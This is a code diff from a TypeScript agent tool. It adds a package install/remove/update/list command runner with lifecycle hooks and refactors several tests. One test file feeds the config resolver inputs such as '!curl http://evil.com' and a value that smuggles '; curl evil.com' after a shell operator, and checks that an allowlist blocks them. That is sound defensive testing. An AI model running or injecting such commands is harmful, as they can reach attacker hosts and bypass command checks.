  384. package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +17 -21
  385. package/src/resources/extensions/gsd/tests/worktree-health.test.ts +25 -30
  386. package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +30 -37
  387. package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +15 -22
  388. package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +59 -66
  389. package/src/resources/extensions/gsd/tests/worktree.test.ts +44 -50
  390. package/src/resources/extensions/gsd/tools/plan-milestone.ts +1 -18
  391. package/src/resources/extensions/gsd/tools/plan-slice.ts +1 -15
  392. package/src/resources/extensions/gsd/visualizer-data.ts +46 -14
  393. package/src/resources/extensions/gsd/workspace-index.ts +49 -18
  394. package/dist/web/standalone/.next/static/chunks/app/_not-found/page-e07acdb7dd069836.js +0 -1
  395. package/dist/web/standalone/.next/static/chunks/app/layout-745c6ed5fea5fb06.js +0 -1
  396. package/dist/web/standalone/.next/static/chunks/app/page-801b53eff6e83579.js +0 -1
  397. package/dist/web/standalone/.next/static/chunks/next/dist/client/components/builtin/global-error-e6255954dccfcf0a.js +0 -1
  398. /package/dist/web/standalone/.next/static/{drUWS0zys9uepCfCwecJv → alS4hoANx0TK4UVZY27da}/_buildManifest.js +0 -0
  399. /package/dist/web/standalone/.next/static/{drUWS0zys9uepCfCwecJv → alS4hoANx0TK4UVZY27da}/_ssgManifest.js +0 -0
@@ -0,0 +1,310 @@
1
+ import chalk from "chalk";
2
+ import { DefaultPackageManager } from "./package-manager.js";
3
+ import { prepareLifecycleHooks, runLifecycleHooks } from "./lifecycle-hooks.js";
4
+ import { SettingsManager } from "./settings-manager.js";
5
+
6
+ export type PackageCommand = "install" | "remove" | "update" | "list";
7
+
8
+ export interface PackageCommandOptions {
9
+ command: PackageCommand;
10
+ source?: string;
11
+ local: boolean;
12
+ help: boolean;
13
+ invalidOption?: string;
14
+ }
15
+
16
+ export interface PackageCommandRunnerOptions {
17
+ appName: string;
18
+ args: string[];
19
+ cwd: string;
20
+ agentDir: string;
21
+ stdout?: NodeJS.WriteStream;
22
+ stderr?: NodeJS.WriteStream;
23
+ allowedCommands?: ReadonlySet<PackageCommand>;
24
+ }
25
+
26
+ export interface PackageCommandRunnerResult {
27
+ handled: boolean;
28
+ exitCode: number;
29
+ }
30
+
31
+ function reportSettingsErrors(settingsManager: SettingsManager, context: string, stderr: NodeJS.WriteStream): void {
32
+ const errors = settingsManager.drainErrors();
33
+ for (const { scope, error } of errors) {
34
+ stderr.write(chalk.yellow(`Warning (${context}, ${scope} settings): ${error.message}`) + "\n");
35
+ if (error.stack) {
36
+ stderr.write(chalk.dim(error.stack) + "\n");
37
+ }
38
+ }
39
+ }
40
+
41
+ export function getPackageCommandUsage(appName: string, command: PackageCommand): string {
42
+ switch (command) {
43
+ case "install":
44
+ return `${appName} install <source> [-l]`;
45
+ case "remove":
46
+ return `${appName} remove <source> [-l]`;
47
+ case "update":
48
+ return `${appName} update [source]`;
49
+ case "list":
50
+ return `${appName} list`;
51
+ }
52
+ }
53
+
54
+ function printPackageCommandHelp(
55
+ appName: string,
56
+ command: PackageCommand,
57
+ stdout: NodeJS.WriteStream,
58
+ ): void {
59
+ switch (command) {
60
+ case "install":
61
+ stdout.write(`${chalk.bold("Usage:")}
62
+ ${getPackageCommandUsage(appName, "install")}
63
+
64
+ Install a package, add it to settings, and run lifecycle hooks.
65
+
66
+ Options:
67
+ -l, --local Install project-locally (.pi/settings.json)
68
+
69
+ Examples:
70
+ ${appName} install npm:@foo/bar
71
+ ${appName} install git:github.com/user/repo
72
+ ${appName} install git:git@github.com:user/repo
73
+ ${appName} install https://github.com/user/repo
74
+ ${appName} install ssh://git@github.com/user/repo
75
+ ${appName} install ./local/path
76
+ `);
77
+ return;
78
+ case "remove":
79
+ stdout.write(`${chalk.bold("Usage:")}
80
+ ${getPackageCommandUsage(appName, "remove")}
81
+
82
+ Remove a package and its source from settings.
83
+
84
+ Options:
85
+ -l, --local Remove from project settings (.pi/settings.json)
86
+
87
+ Example:
88
+ ${appName} remove npm:@foo/bar
89
+ `);
90
+ return;
91
+ case "update":
92
+ stdout.write(`${chalk.bold("Usage:")}
93
+ ${getPackageCommandUsage(appName, "update")}
94
+
95
+ Update installed packages.
96
+ If <source> is provided, only that package is updated.
97
+ `);
98
+ return;
99
+ case "list":
100
+ stdout.write(`${chalk.bold("Usage:")}
101
+ ${getPackageCommandUsage(appName, "list")}
102
+
103
+ List installed packages from user and project settings.
104
+ `);
105
+ return;
106
+ }
107
+ }
108
+
109
+ export function parsePackageCommand(
110
+ args: string[],
111
+ allowedCommands?: ReadonlySet<PackageCommand>,
112
+ ): PackageCommandOptions | undefined {
113
+ const [command, ...rest] = args;
114
+ if (command !== "install" && command !== "remove" && command !== "update" && command !== "list") {
115
+ return undefined;
116
+ }
117
+ if (allowedCommands && !allowedCommands.has(command)) {
118
+ return undefined;
119
+ }
120
+
121
+ let local = false;
122
+ let help = false;
123
+ let invalidOption: string | undefined;
124
+ let source: string | undefined;
125
+
126
+ for (const arg of rest) {
127
+ if (arg === "-h" || arg === "--help") {
128
+ help = true;
129
+ continue;
130
+ }
131
+ if (arg === "-l" || arg === "--local") {
132
+ if (command === "install" || command === "remove") {
133
+ local = true;
134
+ } else {
135
+ invalidOption = invalidOption ?? arg;
136
+ }
137
+ continue;
138
+ }
139
+ if (arg.startsWith("-")) {
140
+ invalidOption = invalidOption ?? arg;
141
+ continue;
142
+ }
143
+ if (!source) {
144
+ source = arg;
145
+ }
146
+ }
147
+
148
+ return { command, source, local, help, invalidOption };
149
+ }
150
+
151
+ export async function runPackageCommand(
152
+ options: PackageCommandRunnerOptions,
153
+ ): Promise<PackageCommandRunnerResult> {
154
+ const stdout = options.stdout ?? process.stdout;
155
+ const stderr = options.stderr ?? process.stderr;
156
+ const parsed = parsePackageCommand(options.args, options.allowedCommands);
157
+ if (!parsed) {
158
+ return { handled: false, exitCode: 0 };
159
+ }
160
+
161
+ if (parsed.help) {
162
+ printPackageCommandHelp(options.appName, parsed.command, stdout);
163
+ return { handled: true, exitCode: 0 };
164
+ }
165
+
166
+ if (parsed.invalidOption) {
167
+ stderr.write(chalk.red(`Unknown option ${parsed.invalidOption} for "${parsed.command}".`) + "\n");
168
+ stderr.write(chalk.dim(`Use "${options.appName} --help" or "${getPackageCommandUsage(options.appName, parsed.command)}".`) + "\n");
169
+ return { handled: true, exitCode: 1 };
170
+ }
171
+
172
+ const source = parsed.source;
173
+ if ((parsed.command === "install" || parsed.command === "remove") && !source) {
174
+ stderr.write(chalk.red(`Missing ${parsed.command} source.`) + "\n");
175
+ stderr.write(chalk.dim(`Usage: ${getPackageCommandUsage(options.appName, parsed.command)}`) + "\n");
176
+ return { handled: true, exitCode: 1 };
177
+ }
178
+
179
+ const settingsManager = SettingsManager.create(options.cwd, options.agentDir);
180
+ reportSettingsErrors(settingsManager, "package command", stderr);
181
+ const packageManager = new DefaultPackageManager({
182
+ cwd: options.cwd,
183
+ agentDir: options.agentDir,
184
+ settingsManager,
185
+ });
186
+ packageManager.setProgressCallback((event) => {
187
+ if (event.type === "start" && event.message) {
188
+ stdout.write(chalk.dim(`${event.message}\n`));
189
+ }
190
+ });
191
+
192
+ try {
193
+ switch (parsed.command) {
194
+ case "install": {
195
+ const lifecycleOptions = {
196
+ source: source!,
197
+ local: parsed.local,
198
+ cwd: options.cwd,
199
+ agentDir: options.agentDir,
200
+ appName: options.appName,
201
+ packageManager,
202
+ stdout,
203
+ stderr,
204
+ };
205
+
206
+ const beforeInstallHooks = await prepareLifecycleHooks(lifecycleOptions, "source");
207
+ const beforeInstallResult = await runLifecycleHooks(beforeInstallHooks, "beforeInstall");
208
+
209
+ await packageManager.install(source!, { local: parsed.local });
210
+ packageManager.addSourceToSettings(source!, { local: parsed.local });
211
+
212
+ const afterInstallHooks = await prepareLifecycleHooks(lifecycleOptions, "installed", {
213
+ verifyRuntimeDependencies: true,
214
+ });
215
+ const afterInstallResult = await runLifecycleHooks(afterInstallHooks, "afterInstall");
216
+
217
+ const hookErrors = beforeInstallResult.hookErrors + afterInstallResult.hookErrors;
218
+ if (hookErrors > 0) {
219
+ stderr.write(chalk.yellow(`Lifecycle hooks completed with ${hookErrors} hook error(s).`) + "\n");
220
+ }
221
+ stdout.write(chalk.green(`Installed ${source}`) + "\n");
222
+ return { handled: true, exitCode: 0 };
223
+ }
224
+
225
+ case "remove": {
226
+ const lifecycleOptions = {
227
+ source: source!,
228
+ local: parsed.local,
229
+ cwd: options.cwd,
230
+ agentDir: options.agentDir,
231
+ appName: options.appName,
232
+ packageManager,
233
+ stdout,
234
+ stderr,
235
+ };
236
+ const removeHooks = await prepareLifecycleHooks(lifecycleOptions, "installed");
237
+ const beforeRemoveResult = await runLifecycleHooks(removeHooks, "beforeRemove");
238
+
239
+ await packageManager.remove(source!, { local: parsed.local });
240
+ const removed = packageManager.removeSourceFromSettings(source!, { local: parsed.local });
241
+
242
+ const afterRemoveResult = await runLifecycleHooks(removeHooks, "afterRemove");
243
+ const hookErrors = beforeRemoveResult.hookErrors + afterRemoveResult.hookErrors;
244
+ if (hookErrors > 0) {
245
+ stderr.write(chalk.yellow(`Lifecycle hooks completed with ${hookErrors} hook error(s).`) + "\n");
246
+ }
247
+
248
+ if (!removed) {
249
+ stderr.write(chalk.red(`No matching package found for ${source}`) + "\n");
250
+ return { handled: true, exitCode: 1 };
251
+ }
252
+ stdout.write(chalk.green(`Removed ${source}`) + "\n");
253
+ return { handled: true, exitCode: 0 };
254
+ }
255
+
256
+ case "list": {
257
+ const globalSettings = settingsManager.getGlobalSettings();
258
+ const projectSettings = settingsManager.getProjectSettings();
259
+ const globalPackages = globalSettings.packages ?? [];
260
+ const projectPackages = projectSettings.packages ?? [];
261
+
262
+ if (globalPackages.length === 0 && projectPackages.length === 0) {
263
+ stdout.write(chalk.dim("No packages installed.") + "\n");
264
+ return { handled: true, exitCode: 0 };
265
+ }
266
+
267
+ const formatPackage = (pkg: (typeof globalPackages)[number], scope: "user" | "project") => {
268
+ const pkgSource = typeof pkg === "string" ? pkg : pkg.source;
269
+ const filtered = typeof pkg === "object";
270
+ const display = filtered ? `${pkgSource} (filtered)` : pkgSource;
271
+ stdout.write(` ${display}\n`);
272
+ const path = packageManager.getInstalledPath(pkgSource, scope);
273
+ if (path) {
274
+ stdout.write(chalk.dim(` ${path}`) + "\n");
275
+ }
276
+ };
277
+
278
+ if (globalPackages.length > 0) {
279
+ stdout.write(chalk.bold("User packages:") + "\n");
280
+ for (const pkg of globalPackages) {
281
+ formatPackage(pkg, "user");
282
+ }
283
+ }
284
+
285
+ if (projectPackages.length > 0) {
286
+ if (globalPackages.length > 0) stdout.write("\n");
287
+ stdout.write(chalk.bold("Project packages:") + "\n");
288
+ for (const pkg of projectPackages) {
289
+ formatPackage(pkg, "project");
290
+ }
291
+ }
292
+
293
+ return { handled: true, exitCode: 0 };
294
+ }
295
+
296
+ case "update":
297
+ await packageManager.update(source);
298
+ if (source) {
299
+ stdout.write(chalk.green(`Updated ${source}`) + "\n");
300
+ } else {
301
+ stdout.write(chalk.green("Updated packages") + "\n");
302
+ }
303
+ return { handled: true, exitCode: 0 };
304
+ }
305
+ } catch (error) {
306
+ const message = error instanceof Error ? error.message : "Unknown package command error";
307
+ stderr.write(chalk.red(`Error: ${message}`) + "\n");
308
+ return { handled: true, exitCode: 1 };
309
+ }
310
+ }
@@ -38,21 +38,20 @@ describe("resolveConfigValue — non-command values", () => {
38
38
  });
39
39
 
40
40
  describe("resolveConfigValue — command allowlist enforcement", () => {
41
- it("blocks a disallowed command and returns undefined", () => {
41
+ it("blocks a disallowed command and returns undefined", (t) => {
42
42
  const stderrChunks: string[] = [];
43
43
  const originalWrite = process.stderr.write.bind(process.stderr);
44
44
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
45
45
  stderrChunks.push(chunk.toString());
46
46
  return true;
47
47
  };
48
-
49
- try {
50
- const result = resolveConfigValue("!curl http://evil.com");
51
- assert.equal(result, undefined);
52
- assert.ok(stderrChunks.some((line) => line.includes("curl")));
53
- } finally {
48
+ t.after(() => {
54
49
  process.stderr.write = originalWrite;
55
- }
50
+ });
51
+
52
+ const result = resolveConfigValue("!curl http://evil.com");
53
+ assert.equal(result, undefined);
54
+ assert.ok(stderrChunks.some((line) => line.includes("curl")));
56
55
  });
57
56
 
58
57
  it("blocks another disallowed command (rm)", () => {
@@ -65,7 +64,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
65
64
  assert.equal(result, undefined);
66
65
  });
67
66
 
68
- it("allows a safe command prefix to proceed to execution", () => {
67
+ it("allows a safe command prefix to proceed to execution", (t) => {
69
68
  // `pass` is unlikely to be installed in CI, so we just verify it does NOT
70
69
  // return undefined due to the allowlist check — it may return undefined if
71
70
  // the binary is absent, but the block path must not be taken.
@@ -76,16 +75,15 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
76
75
  stderrChunks.push(chunk.toString());
77
76
  return true;
78
77
  };
79
-
80
- try {
81
- resolveConfigValue("!pass show nonexistent-entry-for-test");
82
- const blocked = stderrChunks.some((line) =>
83
- line.includes("Blocked disallowed command")
84
- );
85
- assert.equal(blocked, false, "pass should not be blocked by the allowlist");
86
- } finally {
78
+ t.after(() => {
87
79
  process.stderr.write = originalWrite;
88
- }
80
+ });
81
+
82
+ resolveConfigValue("!pass show nonexistent-entry-for-test");
83
+ const blocked = stderrChunks.some((line) =>
84
+ line.includes("Blocked disallowed command")
85
+ );
86
+ assert.equal(blocked, false, "pass should not be blocked by the allowlist");
89
87
  });
90
88
  });
91
89
 
@@ -130,61 +128,58 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
130
128
  assert.equal(result, undefined);
131
129
  });
132
130
 
133
- it("writes stderr warning when shell operators detected", () => {
131
+ it("writes stderr warning when shell operators detected", (t) => {
134
132
  const stderrChunks: string[] = [];
135
133
  const originalWrite = process.stderr.write.bind(process.stderr);
136
134
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
137
135
  stderrChunks.push(chunk.toString());
138
136
  return true;
139
137
  };
140
-
141
- try {
142
- resolveConfigValue("!pass show key; curl evil.com");
143
- assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
144
- } finally {
138
+ t.after(() => {
145
139
  process.stderr.write = originalWrite;
146
- }
140
+ });
141
+
142
+ resolveConfigValue("!pass show key; curl evil.com");
143
+ assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
147
144
  });
148
145
  });
149
146
 
150
147
  describe("resolveConfigValue — caching", () => {
151
- it("caches the result of a blocked command", () => {
148
+ it("caches the result of a blocked command", (t) => {
152
149
  const callCount = { n: 0 };
153
150
  const originalWrite = process.stderr.write.bind(process.stderr);
154
151
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
155
152
  callCount.n++;
156
153
  return true;
157
154
  };
158
-
159
- try {
160
- resolveConfigValue("!curl http://evil.com");
161
- resolveConfigValue("!curl http://evil.com");
162
- // The block warning should only fire once; the second call hits the cache
163
- // before reaching the allowlist check, so stderr count is 1.
164
- assert.equal(callCount.n, 1);
165
- } finally {
155
+ t.after(() => {
166
156
  process.stderr.write = originalWrite;
167
- }
157
+ });
158
+
159
+ resolveConfigValue("!curl http://evil.com");
160
+ resolveConfigValue("!curl http://evil.com");
161
+ // The block warning should only fire once; the second call hits the cache
162
+ // before reaching the allowlist check, so stderr count is 1.
163
+ assert.equal(callCount.n, 1);
168
164
  });
169
165
 
170
- it("clearConfigValueCache resets cached entries", () => {
166
+ it("clearConfigValueCache resets cached entries", (t) => {
171
167
  const stderrChunks: string[] = [];
172
168
  const originalWrite = process.stderr.write.bind(process.stderr);
173
169
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
174
170
  stderrChunks.push(chunk.toString());
175
171
  return true;
176
172
  };
173
+ t.after(() => {
174
+ process.stderr.write = originalWrite;
175
+ });
177
176
 
178
- try {
179
- resolveConfigValue("!curl http://evil.com");
180
- assert.equal(stderrChunks.length, 1);
177
+ resolveConfigValue("!curl http://evil.com");
178
+ assert.equal(stderrChunks.length, 1);
181
179
 
182
- clearConfigValueCache();
180
+ clearConfigValueCache();
183
181
 
184
- resolveConfigValue("!curl http://evil.com");
185
- assert.equal(stderrChunks.length, 2);
186
- } finally {
187
- process.stderr.write = originalWrite;
188
- }
182
+ resolveConfigValue("!curl http://evil.com");
183
+ assert.equal(stderrChunks.length, 2);
189
184
  });
190
185
  });
@@ -333,6 +333,10 @@ export async function createAgentSession(options: CreateAgentSessionOptions = {}
333
333
  if (!resolvedProvider) {
334
334
  throw new Error("No model selected");
335
335
  }
336
+ const authMode = modelRegistry.getProviderAuthMode(resolvedProvider);
337
+ if (authMode === "externalCli" || authMode === "none") {
338
+ return undefined;
339
+ }
336
340
 
337
341
  // Retry key resolution with backoff to handle transient network failures
338
342
  // (e.g., OAuth token refresh failing due to brief connectivity loss).
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, rmSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -22,44 +22,44 @@ function makeAssistantMessage(input: number, output: number, cacheRead = 0, cach
22
22
  }
23
23
 
24
24
  describe("SessionManager usage totals", () => {
25
- it("tracks assistant usage incrementally without rescanning entries", () => {
26
- const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
27
- try {
28
- const manager = SessionManager.create(dir, dir);
29
-
30
- manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
31
- manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
32
- manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
25
+ let dir: string;
33
26
 
34
- assert.deepEqual(manager.getUsageTotals(), {
35
- input: 17,
36
- output: 9,
37
- cacheRead: 4,
38
- cacheWrite: 2,
39
- cost: 0.35,
40
- });
41
- } finally {
27
+ afterEach(() => {
28
+ if (dir) {
42
29
  rmSync(dir, { recursive: true, force: true });
43
30
  }
44
31
  });
45
32
 
33
+ it("tracks assistant usage incrementally without rescanning entries", () => {
34
+ dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
35
+ const manager = SessionManager.create(dir, dir);
36
+
37
+ manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
38
+ manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
39
+ manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
40
+
41
+ assert.deepEqual(manager.getUsageTotals(), {
42
+ input: 17,
43
+ output: 9,
44
+ cacheRead: 4,
45
+ cacheWrite: 2,
46
+ cost: 0.35,
47
+ });
48
+ });
49
+
46
50
  it("resets totals when starting a new session", () => {
47
- const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
48
- try {
49
- const manager = SessionManager.create(dir, dir);
50
- manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
51
- assert.equal(manager.getUsageTotals().input, 5);
51
+ dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
52
+ const manager = SessionManager.create(dir, dir);
53
+ manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
54
+ assert.equal(manager.getUsageTotals().input, 5);
52
55
 
53
- manager.newSession();
54
- assert.deepEqual(manager.getUsageTotals(), {
55
- input: 0,
56
- output: 0,
57
- cacheRead: 0,
58
- cacheWrite: 0,
59
- cost: 0,
60
- });
61
- } finally {
62
- rmSync(dir, { recursive: true, force: true });
63
- }
56
+ manager.newSession();
57
+ assert.deepEqual(manager.getUsageTotals(), {
58
+ input: 0,
59
+ output: 0,
60
+ cacheRead: 0,
61
+ cacheWrite: 0,
62
+ cost: 0,
63
+ });
64
64
  });
65
65
  });
@@ -60,26 +60,26 @@ describe("edit-diff", () => {
60
60
  assert.match(result.diff, /CHANGED/);
61
61
  });
62
62
 
63
- it("computes diffs for preview without native helpers", async () => {
63
+ it("computes diffs for preview without native helpers", async (t) => {
64
64
  const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-"));
65
- try {
66
- const file = join(dir, "sample.ts");
67
- writeFileSync(file, "const title = “Hello”;\n", "utf-8");
65
+ t.after(() => {
66
+ rmSync(dir, { recursive: true, force: true });
67
+ });
68
68
 
69
- const result = await computeEditDiff(
70
- file,
71
- "const title = \"Hello\";\n",
72
- "const title = \"Hi\";\n",
73
- dir,
74
- );
69
+ const file = join(dir, "sample.ts");
70
+ writeFileSync(file, "const title = “Hello”;\n", "utf-8");
75
71
 
76
- assert.ok(!("error" in result), "expected a diff result");
77
- if (!("error" in result)) {
78
- assert.equal(result.firstChangedLine, 1);
79
- assert.match(result.diff, /\+1 const title = "Hi";/);
80
- }
81
- } finally {
82
- rmSync(dir, { recursive: true, force: true });
72
+ const result = await computeEditDiff(
73
+ file,
74
+ "const title = \"Hello\";\n",
75
+ "const title = \"Hi\";\n",
76
+ dir,
77
+ );
78
+
79
+ assert.ok(!("error" in result), "expected a diff result");
80
+ if (!("error" in result)) {
81
+ assert.equal(result.firstChangedLine, 1);
82
+ assert.match(result.diff, /\+1 const title = "Hi";/);
83
83
  }
84
84
  });
85
85
  });
@@ -94,6 +94,11 @@ export type {
94
94
  MessageRenderOptions,
95
95
  ProviderConfig,
96
96
  ProviderModelConfig,
97
+ LifecycleHookContext,
98
+ LifecycleHookHandler,
99
+ LifecycleHookMap,
100
+ LifecycleHookPhase,
101
+ LifecycleHookScope,
97
102
  ReadToolCallEvent,
98
103
  RegisteredCommand,
99
104
  RegisteredTool,
@@ -152,6 +157,8 @@ export type {
152
157
  ResolvedResource,
153
158
  } from "./core/package-manager.js";
154
159
  export { DefaultPackageManager } from "./core/package-manager.js";
160
+ export type { PackageCommand, PackageCommandOptions, PackageCommandRunnerOptions, PackageCommandRunnerResult } from "./core/package-commands.js";
161
+ export { getPackageCommandUsage, parsePackageCommand, runPackageCommand } from "./core/package-commands.js";
155
162
  export type { ResourceCollision, ResourceDiagnostic, ResourceLoader } from "./core/resource-loader.js";
156
163
  export { DefaultResourceLoader } from "./core/resource-loader.js";
157
164
  // SDK for programmatic usage